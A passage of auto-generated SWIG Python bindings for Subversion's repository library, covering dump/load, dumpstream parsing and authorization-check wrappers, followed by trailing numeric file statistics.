proxy object for svn_repos_node_t""" import libsvn.core, weakref self.__dict__["_parent_pool"] = \ parent_pool or libsvn.core.application_pool; if self.__dict__["_parent_pool"]: self.__dict__["_is_valid"] = weakref.ref( self.__dict__["_parent_pool"]._is_valid) def assert_valid(self): """Assert that this object is using valid pool memory""" if "_is_valid" in self.__dict__: assert self.__dict__["_is_valid"](), "Variable has already been deleted" def __getattr__(self, name): """Get an attribute from this object""" self.assert_valid() value = _swig_getattr(self, self.__class__, name) members = self.__dict__.get("_members") if members is not None: old_value = members.get(name) if (old_value is not None and value is not None and value is not old_value): try: value.__dict__.update(old_value.__dict__) except AttributeError: pass if hasattr(value, "assert_valid"): value.assert_valid() return value def __setattr__(self, name, value): """Set an attribute on this object""" self.assert_valid() self.__dict__.setdefault("_members",{})[name] = value return _swig_setattr(self, self.__class__, name, value) svn_repos_node_t_swigregister = _repos.svn_repos_node_t_swigregister svn_repos_node_t_swigregister(svn_repos_node_t) def svn_repos_node_editor(*args): """ svn_repos_node_editor(svn_repos_t repos, svn_fs_root_t base_root, svn_fs_root_t root, apr_pool_t node_pool, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_node_editor(*args) def svn_repos_node_from_baton(*args): """svn_repos_node_from_baton(void edit_baton) -> svn_repos_node_t""" return _repos.svn_repos_node_from_baton(*args) SVN_REPOS_DUMPFILE_MAGIC_HEADER = _repos.SVN_REPOS_DUMPFILE_MAGIC_HEADER SVN_REPOS_DUMPFILE_FORMAT_VERSION = _repos.SVN_REPOS_DUMPFILE_FORMAT_VERSION SVN_REPOS_DUMPFILE_UUID = _repos.SVN_REPOS_DUMPFILE_UUID SVN_REPOS_DUMPFILE_CONTENT_LENGTH = _repos.SVN_REPOS_DUMPFILE_CONTENT_LENGTH SVN_REPOS_DUMPFILE_REVISION_NUMBER = _repos.SVN_REPOS_DUMPFILE_REVISION_NUMBER SVN_REPOS_DUMPFILE_NODE_PATH = _repos.SVN_REPOS_DUMPFILE_NODE_PATH SVN_REPOS_DUMPFILE_NODE_KIND = _repos.SVN_REPOS_DUMPFILE_NODE_KIND SVN_REPOS_DUMPFILE_NODE_ACTION = _repos.SVN_REPOS_DUMPFILE_NODE_ACTION SVN_REPOS_DUMPFILE_NODE_COPYFROM_PATH = _repos.SVN_REPOS_DUMPFILE_NODE_COPYFROM_PATH SVN_REPOS_DUMPFILE_NODE_COPYFROM_REV = _repos.SVN_REPOS_DUMPFILE_NODE_COPYFROM_REV SVN_REPOS_DUMPFILE_TEXT_COPY_SOURCE_MD5 = _repos.SVN_REPOS_DUMPFILE_TEXT_COPY_SOURCE_MD5 SVN_REPOS_DUMPFILE_TEXT_COPY_SOURCE_SHA1 = _repos.SVN_REPOS_DUMPFILE_TEXT_COPY_SOURCE_SHA1 SVN_REPOS_DUMPFILE_TEXT_COPY_SOURCE_CHECKSUM = _repos.SVN_REPOS_DUMPFILE_TEXT_COPY_SOURCE_CHECKSUM SVN_REPOS_DUMPFILE_TEXT_CONTENT_MD5 = _repos.SVN_REPOS_DUMPFILE_TEXT_CONTENT_MD5 SVN_REPOS_DUMPFILE_TEXT_CONTENT_SHA1 = _repos.SVN_REPOS_DUMPFILE_TEXT_CONTENT_SHA1 SVN_REPOS_DUMPFILE_TEXT_CONTENT_CHECKSUM = _repos.SVN_REPOS_DUMPFILE_TEXT_CONTENT_CHECKSUM SVN_REPOS_DUMPFILE_PROP_CONTENT_LENGTH = _repos.SVN_REPOS_DUMPFILE_PROP_CONTENT_LENGTH SVN_REPOS_DUMPFILE_TEXT_CONTENT_LENGTH = _repos.SVN_REPOS_DUMPFILE_TEXT_CONTENT_LENGTH SVN_REPOS_DUMPFILE_PROP_DELTA = _repos.SVN_REPOS_DUMPFILE_PROP_DELTA SVN_REPOS_DUMPFILE_TEXT_DELTA = _repos.SVN_REPOS_DUMPFILE_TEXT_DELTA SVN_REPOS_DUMPFILE_TEXT_DELTA_BASE_MD5 = _repos.SVN_REPOS_DUMPFILE_TEXT_DELTA_BASE_MD5 SVN_REPOS_DUMPFILE_TEXT_DELTA_BASE_SHA1 = _repos.SVN_REPOS_DUMPFILE_TEXT_DELTA_BASE_SHA1 SVN_REPOS_DUMPFILE_TEXT_DELTA_BASE_CHECKSUM = _repos.SVN_REPOS_DUMPFILE_TEXT_DELTA_BASE_CHECKSUM svn_node_action_change = _repos.svn_node_action_change svn_node_action_add = _repos.svn_node_action_add svn_node_action_delete = _repos.svn_node_action_delete svn_node_action_replace = _repos.svn_node_action_replace svn_repos_load_uuid_default = _repos.svn_repos_load_uuid_default svn_repos_load_uuid_ignore = _repos.svn_repos_load_uuid_ignore svn_repos_load_uuid_force = _repos.svn_repos_load_uuid_force def svn_repos_verify_fs(*args): """ svn_repos_verify_fs(svn_repos_t repos, svn_stream_t feedback_stream, svn_revnum_t start_rev, svn_revnum_t end_rev, svn_cancel_func_t cancel_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_verify_fs(*args) def svn_repos_dump_fs2(*args): """ svn_repos_dump_fs2(svn_repos_t repos, svn_stream_t dumpstream, svn_stream_t feedback_stream, svn_revnum_t start_rev, svn_revnum_t end_rev, svn_boolean_t incremental, svn_boolean_t use_deltas, svn_cancel_func_t cancel_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_dump_fs2(*args) def svn_repos_dump_fs(*args): """ svn_repos_dump_fs(svn_repos_t repos, svn_stream_t dumpstream, svn_stream_t feedback_stream, svn_revnum_t start_rev, svn_revnum_t end_rev, svn_boolean_t incremental, svn_cancel_func_t cancel_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_dump_fs(*args) def svn_repos_load_fs2(*args): """ svn_repos_load_fs2(svn_repos_t repos, svn_stream_t dumpstream, svn_stream_t feedback_stream, enum svn_repos_load_uuid uuid_action, char parent_dir, svn_boolean_t use_pre_commit_hook, svn_boolean_t use_post_commit_hook, svn_cancel_func_t cancel_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_load_fs2(*args) def svn_repos_load_fs(*args): """ svn_repos_load_fs(svn_repos_t repos, svn_stream_t dumpstream, svn_stream_t feedback_stream, enum svn_repos_load_uuid uuid_action, char parent_dir, svn_cancel_func_t cancel_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_load_fs(*args) class svn_repos_parse_fns2_t: """Proxy of C svn_repos_parse_fns2_t struct""" __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, svn_repos_parse_fns2_t, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, svn_repos_parse_fns2_t, name) def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr __swig_setmethods__["new_revision_record"] = _repos.svn_repos_parse_fns2_t_new_revision_record_set __swig_getmethods__["new_revision_record"] = _repos.svn_repos_parse_fns2_t_new_revision_record_get __swig_setmethods__["uuid_record"] = _repos.svn_repos_parse_fns2_t_uuid_record_set __swig_getmethods__["uuid_record"] = _repos.svn_repos_parse_fns2_t_uuid_record_get __swig_setmethods__["new_node_record"] = _repos.svn_repos_parse_fns2_t_new_node_record_set __swig_getmethods__["new_node_record"] = _repos.svn_repos_parse_fns2_t_new_node_record_get __swig_setmethods__["set_revision_property"] = _repos.svn_repos_parse_fns2_t_set_revision_property_set __swig_getmethods__["set_revision_property"] = _repos.svn_repos_parse_fns2_t_set_revision_property_get __swig_setmethods__["set_node_property"] = _repos.svn_repos_parse_fns2_t_set_node_property_set __swig_getmethods__["set_node_property"] = _repos.svn_repos_parse_fns2_t_set_node_property_get __swig_setmethods__["delete_node_property"] = _repos.svn_repos_parse_fns2_t_delete_node_property_set __swig_getmethods__["delete_node_property"] = _repos.svn_repos_parse_fns2_t_delete_node_property_get __swig_setmethods__["remove_node_props"] = _repos.svn_repos_parse_fns2_t_remove_node_props_set __swig_getmethods__["remove_node_props"] = _repos.svn_repos_parse_fns2_t_remove_node_props_get __swig_setmethods__["set_fulltext"] = _repos.svn_repos_parse_fns2_t_set_fulltext_set __swig_getmethods__["set_fulltext"] = _repos.svn_repos_parse_fns2_t_set_fulltext_get __swig_setmethods__["apply_textdelta"] = _repos.svn_repos_parse_fns2_t_apply_textdelta_set __swig_getmethods__["apply_textdelta"] = _repos.svn_repos_parse_fns2_t_apply_textdelta_get __swig_setmethods__["close_node"] = _repos.svn_repos_parse_fns2_t_close_node_set __swig_getmethods__["close_node"] = _repos.svn_repos_parse_fns2_t_close_node_get __swig_setmethods__["close_revision"] = _repos.svn_repos_parse_fns2_t_close_revision_set __swig_getmethods__["close_revision"] = _repos.svn_repos_parse_fns2_t_close_revision_get def set_parent_pool(self, parent_pool=None): """Create a new proxy object for svn_repos_parse_fns2_t""" import libsvn.core, weakref self.__dict__["_parent_pool"] = \ parent_pool or libsvn.core.application_pool; if self.__dict__["_parent_pool"]: self.__dict__["_is_valid"] = weakref.ref( self.__dict__["_parent_pool"]._is_valid) def assert_valid(self): """Assert that this object is using valid pool memory""" if "_is_valid" in self.__dict__: assert self.__dict__["_is_valid"](), "Variable has already been deleted" def __getattr__(self, name): """Get an attribute from this object""" self.assert_valid() value = _swig_getattr(self, self.__class__, name) members = self.__dict__.get("_members") if members is not None: old_value = members.get(name) if (old_value is not None and value is not None and value is not old_value): try: value.__dict__.update(old_value.__dict__) except AttributeError: pass if hasattr(value, "assert_valid"): value.assert_valid() return value def __setattr__(self, name, value): """Set an attribute on this object""" self.assert_valid() self.__dict__.setdefault("_members",{})[name] = value return _swig_setattr(self, self.__class__, name, value) def new_revision_record(self, *args): return svn_repos_parse_fns2_invoke_new_revision_record(self, *args) def uuid_record(self, *args): return svn_repos_parse_fns2_invoke_uuid_record(self, *args) def new_node_record(self, *args): return svn_repos_parse_fns2_invoke_new_node_record(self, *args) def set_revision_property(self, *args): return svn_repos_parse_fns2_invoke_set_revision_property(self, *args) def set_node_property(self, *args): return svn_repos_parse_fns2_invoke_set_node_property(self, *args) def delete_node_property(self, *args): return svn_repos_parse_fns2_invoke_delete_node_property(self, *args) def remove_node_props(self, *args): return svn_repos_parse_fns2_invoke_remove_node_props(self, *args) def set_fulltext(self, *args): return svn_repos_parse_fns2_invoke_set_fulltext(self, *args) def apply_textdelta(self, *args): return svn_repos_parse_fns2_invoke_apply_textdelta(self, *args) def close_node(self, *args): return svn_repos_parse_fns2_invoke_close_node(self, *args) def close_revision(self, *args): return svn_repos_parse_fns2_invoke_close_revision(self, *args) svn_repos_parse_fns2_t_swigregister = _repos.svn_repos_parse_fns2_t_swigregister svn_repos_parse_fns2_t_swigregister(svn_repos_parse_fns2_t) def svn_repos_parse_dumpstream2(*args): """ svn_repos_parse_dumpstream2(svn_stream_t stream, svn_repos_parse_fns2_t parse_fns, void parse_baton, svn_cancel_func_t cancel_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_parse_dumpstream2(*args) def svn_repos_get_fs_build_parser2(*args): """ svn_repos_get_fs_build_parser2(svn_repos_t repos, svn_boolean_t use_history, enum svn_repos_load_uuid uuid_action, svn_stream_t outstream, char parent_dir, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_get_fs_build_parser2(*args) class svn_repos_parser_fns_t: """Proxy of C svn_repos_parser_fns_t struct""" __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, svn_repos_parser_fns_t, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, svn_repos_parser_fns_t, name) def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr __swig_setmethods__["new_revision_record"] = _repos.svn_repos_parser_fns_t_new_revision_record_set __swig_getmethods__["new_revision_record"] = _repos.svn_repos_parser_fns_t_new_revision_record_get __swig_setmethods__["uuid_record"] = _repos.svn_repos_parser_fns_t_uuid_record_set __swig_getmethods__["uuid_record"] = _repos.svn_repos_parser_fns_t_uuid_record_get __swig_setmethods__["new_node_record"] = _repos.svn_repos_parser_fns_t_new_node_record_set __swig_getmethods__["new_node_record"] = _repos.svn_repos_parser_fns_t_new_node_record_get __swig_setmethods__["set_revision_property"] = _repos.svn_repos_parser_fns_t_set_revision_property_set __swig_getmethods__["set_revision_property"] = _repos.svn_repos_parser_fns_t_set_revision_property_get __swig_setmethods__["set_node_property"] = _repos.svn_repos_parser_fns_t_set_node_property_set __swig_getmethods__["set_node_property"] = _repos.svn_repos_parser_fns_t_set_node_property_get __swig_setmethods__["remove_node_props"] = _repos.svn_repos_parser_fns_t_remove_node_props_set __swig_getmethods__["remove_node_props"] = _repos.svn_repos_parser_fns_t_remove_node_props_get __swig_setmethods__["set_fulltext"] = _repos.svn_repos_parser_fns_t_set_fulltext_set __swig_getmethods__["set_fulltext"] = _repos.svn_repos_parser_fns_t_set_fulltext_get __swig_setmethods__["close_node"] = _repos.svn_repos_parser_fns_t_close_node_set __swig_getmethods__["close_node"] = _repos.svn_repos_parser_fns_t_close_node_get __swig_setmethods__["close_revision"] = _repos.svn_repos_parser_fns_t_close_revision_set __swig_getmethods__["close_revision"] = _repos.svn_repos_parser_fns_t_close_revision_get def set_parent_pool(self, parent_pool=None): """Create a new proxy object for svn_repos_parse_fns_t""" import libsvn.core, weakref self.__dict__["_parent_pool"] = \ parent_pool or libsvn.core.application_pool; if self.__dict__["_parent_pool"]: self.__dict__["_is_valid"] = weakref.ref( self.__dict__["_parent_pool"]._is_valid) def assert_valid(self): """Assert that this object is using valid pool memory""" if "_is_valid" in self.__dict__: assert self.__dict__["_is_valid"](), "Variable has already been deleted" def __getattr__(self, name): """Get an attribute from this object""" self.assert_valid() value = _swig_getattr(self, self.__class__, name) members = self.__dict__.get("_members") if members is not None: old_value = members.get(name) if (old_value is not None and value is not None and value is not old_value): try: value.__dict__.update(old_value.__dict__) except AttributeError: pass if hasattr(value, "assert_valid"): value.assert_valid() return value def __setattr__(self, name, value): """Set an attribute on this object""" self.assert_valid() self.__dict__.setdefault("_members",{})[name] = value return _swig_setattr(self, self.__class__, name, value) svn_repos_parser_fns_t_swigregister = _repos.svn_repos_parser_fns_t_swigregister svn_repos_parser_fns_t_swigregister(svn_repos_parser_fns_t) def svn_repos_parse_dumpstream(*args): """ svn_repos_parse_dumpstream(svn_stream_t stream, parse_fns, void parse_baton, svn_cancel_func_t cancel_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_parse_dumpstream(*args) def svn_repos_get_fs_build_parser(*args): """ svn_repos_get_fs_build_parser(svn_repos_t repos, svn_boolean_t use_history, enum svn_repos_load_uuid uuid_action, svn_stream_t outstream, char parent_dir, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_get_fs_build_parser(*args) def svn_repos_authz_read(*args): """svn_repos_authz_read(char file, svn_boolean_t must_exist, apr_pool_t pool) -> svn_error_t""" return _repos.svn_repos_authz_read(*args) def svn_repos_authz_check_access(*args): """ svn_repos_authz_check_access(svn_authz_t authz, char repos_name, char path, char user, svn_repos_authz_access_t required_access, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_authz_check_access(*args) svn_repos_revision_access_none = _repos.svn_repos_revision_access_none svn_repos_revision_access_partial = _repos.svn_repos_revision_access_partial svn_repos_revision_access_full = _repos.svn_repos_revision_access_full def svn_repos_check_revision_access(*args): """ svn_repos_check_revision_access(svn_repos_revision_access_level_t access_level, svn_repos_t repos, svn_revnum_t revision, svn_repos_authz_func_t authz_read_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_check_revision_access(*args) def svn_repos_remember_client_capabilities(*args): """svn_repos_remember_client_capabilities(svn_repos_t repos, apr_array_header_t capabilities) -> svn_error_t""" return _repos.svn_repos_remember_client_capabilities(*args) class svn_repos_t: """Proxy of C svn_repos_t struct""" __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, svn_repos_t, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, svn_repos_t, name) def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_parent_pool(self, parent_pool=None): """Create a new proxy object for svn_repos_t""" import libsvn.core, weakref self.__dict__["_parent_pool"] = \ parent_pool or libsvn.core.application_pool; if self.__dict__["_parent_pool"]: self.__dict__["_is_valid"] = weakref.ref( self.__dict__["_parent_pool"]._is_valid) def assert_valid(self): """Assert that this object is using valid pool memory""" if "_is_valid" in self.__dict__: assert self.__dict__["_is_valid"](), "Variable has already been deleted" def __getattr__(self, name): """Get an attribute from this object""" self.assert_valid() value = _swig_getattr(self, self.__class__, name) members = self.__dict__.get("_members") if members is not None: old_value = members.get(name) if (old_value is not None and value is not None and value is not old_value): try: value.__dict__.update(old_value.__dict__) except AttributeError: pass if hasattr(value, "assert_valid"): value.assert_valid() return value def __setattr__(self, name, value): """Set an attribute on this object""" self.assert_valid() self.__dict__.setdefault("_members",{})[name] = value return _swig_setattr(self, self.__class__, name, value) svn_repos_t_swigregister = _repos.svn_repos_t_swigregister svn_repos_t_swigregister(svn_repos_t) class svn_authz_t: """Proxy of C svn_authz_t struct""" __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, svn_authz_t, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, svn_authz_t, name) def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_parent_pool(self, parent_pool=None): """Create a new proxy object for svn_authz_t""" import libsvn.core, weakref self.__dict__["_parent_pool"] = \ parent_pool or libsvn.core.application_pool; if self.__dict__["_parent_pool"]: self.__dict__["_is_valid"] = weakref.ref( self.__dict__["_parent_pool"]._is_valid) def assert_valid(self): """Assert that this object is using valid pool memory""" if "_is_valid" in self.__dict__: assert self.__dict__["_is_valid"](), "Variable has already been deleted" def __getattr__(self, name): """Get an attribute from this object""" self.assert_valid() value = _swig_getattr(self, self.__class__, name) members = self.__dict__.get("_members") if members is not None: old_value = members.get(name) if (old_value is not None and value is not None and value is not old_value): try: value.__dict__.update(old_value.__dict__) except AttributeError: pass if hasattr(value, "assert_valid"): value.assert_valid() return value def __setattr__(self, name, value): """Set an attribute on this object""" self.assert_valid() self.__dict__.setdefault("_members",{})[name] = value return _swig_setattr(self, self.__class__, name, value) svn_authz_t_swigregister = _repos.svn_authz_t_swigregister svn_authz_t_swigregister(svn_authz_t) def svn_repos_parse_fns2_invoke_new_revision_record(*args): """ svn_repos_parse_fns2_invoke_new_revision_record(svn_repos_parse_fns2_t _obj, apr_hash_t headers, void parse_baton, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_parse_fns2_invoke_new_revision_record(*args) def svn_repos_parse_fns2_invoke_uuid_record(*args): """ svn_repos_parse_fns2_invoke_uuid_record(svn_repos_parse_fns2_t _obj, char uuid, void parse_baton, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_parse_fns2_invoke_uuid_record(*args) def svn_repos_parse_fns2_invoke_new_node_record(*args): """ svn_repos_parse_fns2_invoke_new_node_record(svn_repos_parse_fns2_t _obj, apr_hash_t headers, void revision_baton, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_parse_fns2_invoke_new_node_record(*args) def svn_repos_parse_fns2_invoke_set_revision_property(*args): """ svn_repos_parse_fns2_invoke_set_revision_property(svn_repos_parse_fns2_t _obj, void revision_baton, char name, svn_string_t value) -> svn_error_t """ return _repos.svn_repos_parse_fns2_invoke_set_revision_property(*args) def svn_repos_parse_fns2_invoke_set_node_property(*args): """ svn_repos_parse_fns2_invoke_set_node_property(svn_repos_parse_fns2_t _obj, void node_baton, char name, svn_string_t value) -> svn_error_t """ return _repos.svn_repos_parse_fns2_invoke_set_node_property(*args) def svn_repos_parse_fns2_invoke_delete_node_property(*args): """svn_repos_parse_fns2_invoke_delete_node_property(svn_repos_parse_fns2_t _obj, void node_baton, char name) -> svn_error_t""" return _repos.svn_repos_parse_fns2_invoke_delete_node_property(*args) def svn_repos_parse_fns2_invoke_remove_node_props(*args): """svn_repos_parse_fns2_invoke_remove_node_props(svn_repos_parse_fns2_t _obj, void node_baton) -> svn_error_t""" return _repos.svn_repos_parse_fns2_invoke_remove_node_props(*args) def svn_repos_parse_fns2_invoke_set_fulltext(*args): """svn_repos_parse_fns2_invoke_set_fulltext(svn_repos_parse_fns2_t _obj, void node_baton) -> svn_error_t""" return _repos.svn_repos_parse_fns2_invoke_set_fulltext(*args) def svn_repos_parse_fns2_invoke_apply_textdelta(*args): """svn_repos_parse_fns2_invoke_apply_textdelta(svn_repos_parse_fns2_t _obj, void node_baton) -> svn_error_t""" return _repos.svn_repos_parse_fns2_invoke_apply_textdelta(*args) def svn_repos_parse_fns2_invoke_close_node(*args): """svn_repos_parse_fns2_invoke_close_node(svn_repos_parse_fns2_t _obj, void node_baton) -> svn_error_t""" return _repos.svn_repos_parse_fns2_invoke_close_node(*args) def svn_repos_parse_fns2_invoke_close_revision(*args): """svn_repos_parse_fns2_invoke_close_revision(svn_repos_parse_fns2_t _obj, void revision_baton) -> svn_error_t""" return _repos.svn_repos_parse_fns2_invoke_close_revision(*args) def svn_repos_invoke_authz_func(*args): """ svn_repos_invoke_authz_func(svn_repos_authz_func_t _obj, svn_fs_root_t root, char path, void baton, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_invoke_authz_func(*args) def svn_repos_invoke_authz_callback(*args): """ svn_repos_invoke_authz_callback(svn_repos_authz_callback_t _obj, svn_repos_authz_access_t required, svn_fs_root_t root, char path, void baton, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_invoke_authz_callback(*args) def svn_repos_invoke_file_rev_handler(*args): """ svn_repos_invoke_file_rev_handler(svn_repos_file_rev_handler_t _obj, void baton, char path, svn_revnum_t rev, apr_hash_t rev_props, apr_array_header_t prop_diffs, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_invoke_file_rev_handler(*args) def svn_repos_invoke_history_func(*args): """ svn_repos_invoke_history_func(svn_repos_history_func_t _obj, void baton, char path, svn_revnum_t revision, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_invoke_history_func(*args) class svn_repos_authz_func_t: """Proxy of C svn_repos_authz_func_t struct""" __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, svn_repos_authz_func_t, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, svn_repos_authz_func_t, name) def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_parent_pool(self, parent_pool=None): """Create a new proxy object for svn_repos_authz_func_t""" import libsvn.core, weakref self.__dict__["_parent_pool"] = \ parent_pool or libsvn.core.application_pool; if self.__dict__["_parent_pool"]: self.__dict__["_is_valid"] = weakref.ref( self.__dict__["_parent_pool"]._is_valid) def assert_valid(self): """Assert that this object is using valid pool memory""" if "_is_valid" in self.__dict__: assert self.__dict__["_is_valid"](), "Variable has already been deleted" def __getattr__(self, name): """Get an attribute from this object""" self.assert_valid() value = _swig_getattr(self, self.__class__, name) members = self.__dict__.get("_members") if members is not None: old_value = members.get(name) if (old_value is not None and value is not None and value is not old_value): try: value.__dict__.update(old_value.__dict__) except AttributeError: pass if hasattr(value, "assert_valid"): value.assert_valid() return value def __setattr__(self, name, value): """Set an attribute on this object""" self.assert_valid() self.__dict__.setdefault("_members",{})[name] = value return _swig_setattr(self, self.__class__, name, value) def __call__(self, *args): return svn_repos_invoke_authz_func(self, *args) svn_repos_authz_func_t_swigregister = _repos.svn_repos_authz_func_t_swigregister svn_repos_authz_func_t_swigregister(svn_repos_authz_func_t) class svn_repos_authz_callback_t: """Proxy of C svn_repos_authz_callback_t struct""" __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, svn_repos_authz_callback_t, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, svn_repos_authz_callback_t, name) def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_parent_pool(self, parent_pool=None): """Create a new proxy object for svn_repos_authz_callback_t""" import libsvn.core, weakref self.__dict__["_parent_pool"] = \ parent_pool or libsvn.core.application_pool; if self.__dict__["_parent_pool"]: self.__dict__["_is_valid"] = weakref.ref( self.__dict__["_parent_pool"]._is_valid) def assert_valid(self): """Assert that this object is using valid pool memory""" if "_is_valid" in self.__dict__: assert self.__dict__["_is_valid"](), "Variable has already been deleted" def __getattr__(self, name): """Get an attribute from this object""" self.assert_valid() value = _swig_getattr(self, self.__class__, name) members = self.__dict__.get("_members") if members is not None: old_value = members.get(name) if (old_value is not None and value is not None and value is not old_value): try: value.__dict__.update(old_value.__dict__) except AttributeError: pass if hasattr(value, "assert_valid"): value.assert_valid() return value def __setattr__(self, name, value): """Set an attribute on this object""" self.assert_valid() self.__dict__.setdefault("_members",{})[name] = value return _swig_setattr(self, self.__class__, name, value) def __call__(self, *args): return svn_repos_invoke_authz_callback(self, *args) svn_repos_authz_callback_t_swigregister = _repos.svn_repos_authz_callback_t_swigregister svn_repos_authz_callback_t_swigregister(svn_repos_authz_callback_t) class svn_repos_file_rev_handler_t: """Proxy of C svn_repos_file_rev_handler_t struct""" __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, svn_repos_file_rev_handler_t, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, svn_repos_file_rev_handler_t, name) def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_parent_pool(self, parent_pool=None): """Create a new proxy object for svn_repos_file_rev_handler_t""" import libsvn.core, weakref self.__dict__["_parent_pool"] = \ parent_pool or libsvn.core.application_pool; if self.__dict__["_parent_pool"]: self.__dict__["_is_valid"] = weakref.ref( self.__dict__["_parent_pool"]._is_valid) def assert_valid(self): """Assert that this object is using valid pool memory""" if "_is_valid" in self.__dict__: assert self.__dict__["_is_valid"](), "Variable has already been deleted" def __getattr__(self, name): """Get an attribute from this object""" self.assert_valid() value = _swig_getattr(self, self.__class__, name) members = self.__dict__.get("_members") if members is not None: old_value = members.get(name) if (old_value is not None and value is not None and value is not old_value): try: value.__dict__.update(old_value.__dict__) except AttributeError: pass if hasattr(value, "assert_valid"): value.assert_valid() return value def __setattr__(self, name, value): """Set an attribute on this object""" self.assert_valid() self.__dict__.setdefault("_members",{})[name] = value return _swig_setattr(self, self.__class__, name, value) def __call__(self, *args): return svn_repos_invoke_file_rev_handler(self, *args) svn_repos_file_rev_handler_t_swigregister = _repos.svn_repos_file_rev_handler_t_swigregister svn_repos_file_rev_handler_t_swigregister(svn_repos_file_rev_handler_t) class svn_repos_history_func_t: """Proxy of C svn_repos_history_func_t struct""" __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, svn_repos_history_func_t, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, svn_repos_history_func_t, name) def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_parent_pool(self, parent_pool=None): """Create a new proxy object for svn_repos_history_func_t""" import libsvn.core, weakref self.__dict__["_parent_pool"] = \ parent_pool or libsvn.core.application_pool; if self.__dict__["_parent_pool"]: self.__dict__["_is_valid"] = weakref.ref( self.__dict__["_parent_pool"]._is_valid) def assert_valid(self): """Assert that this object is using valid pool memory""" if "_is_valid" in self.__dict__: assert self.__dict__["_is_valid"](), "Variable has already been deleted" def __getattr__(self, name): """Get an attribute from this object""" self.assert_valid() value = _swig_getattr(self, self.__class__, name) members = self.__dict__.get("_members") if members is not None: old_value = members.get(name) if (old_value is not None and value is not None and value is not old_value): try: value.__dict__.update(old_value.__dict__) except AttributeError: pass if hasattr(value, "assert_valid"): value.assert_valid() return value def __setattr__(self, name, value): """Set an attribute on this object""" self.assert_valid() self.__dict__.setdefault("_members",{})[name] = value return _swig_setattr(self, self.__class__, name, value) def __call__(self, *args): return svn_repos_invoke_history_func(self, *args) svn_repos_history_func_t_swigregister = _repos.svn_repos_history_func_t_swigregister svn_repos_history_func_t_swigregister(svn_repos_history_func_t)
40.506406
129
0.731351
8,819
60,071
4.34505
0.040027
0.135285
0.070905
0.055038
0.894413
0.807093
0.732639
0.675513
0.639865
0.607923
0
0.003824
0.185847
60,071
1,482
130
40.533738
0.779684
0.320837
0
0.417568
1
0
0.058253
0.002257
0
0
0
0
0.072973
1
0.237838
false
0.012162
0.028378
0.021622
0.540541
0
0
0
0
null
0
0
0
1
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
7
d1ce373ae6b4349c3937b538dc5e6132ea82d4d4
111,848
py
Python
Cktgen/cktgen/tests/test_lef_parser.py
mabrains/ALIGN-public
9a6c14310de13df369a8340f465911b629f15a3f
[ "BSD-3-Clause" ]
119
2019-05-14T18:44:34.000Z
2022-03-17T01:01:02.000Z
Cktgen/cktgen/tests/test_lef_parser.py
mabrains/ALIGN-public
9a6c14310de13df369a8340f465911b629f15a3f
[ "BSD-3-Clause" ]
717
2019-04-03T15:36:35.000Z
2022-03-31T21:56:47.000Z
Cktgen/cktgen/tests/test_lef_parser.py
mabrains/ALIGN-public
9a6c14310de13df369a8340f465911b629f15a3f
[ "BSD-3-Clause" ]
34
2019-04-01T21:21:27.000Z
2022-03-21T09:46:57.000Z
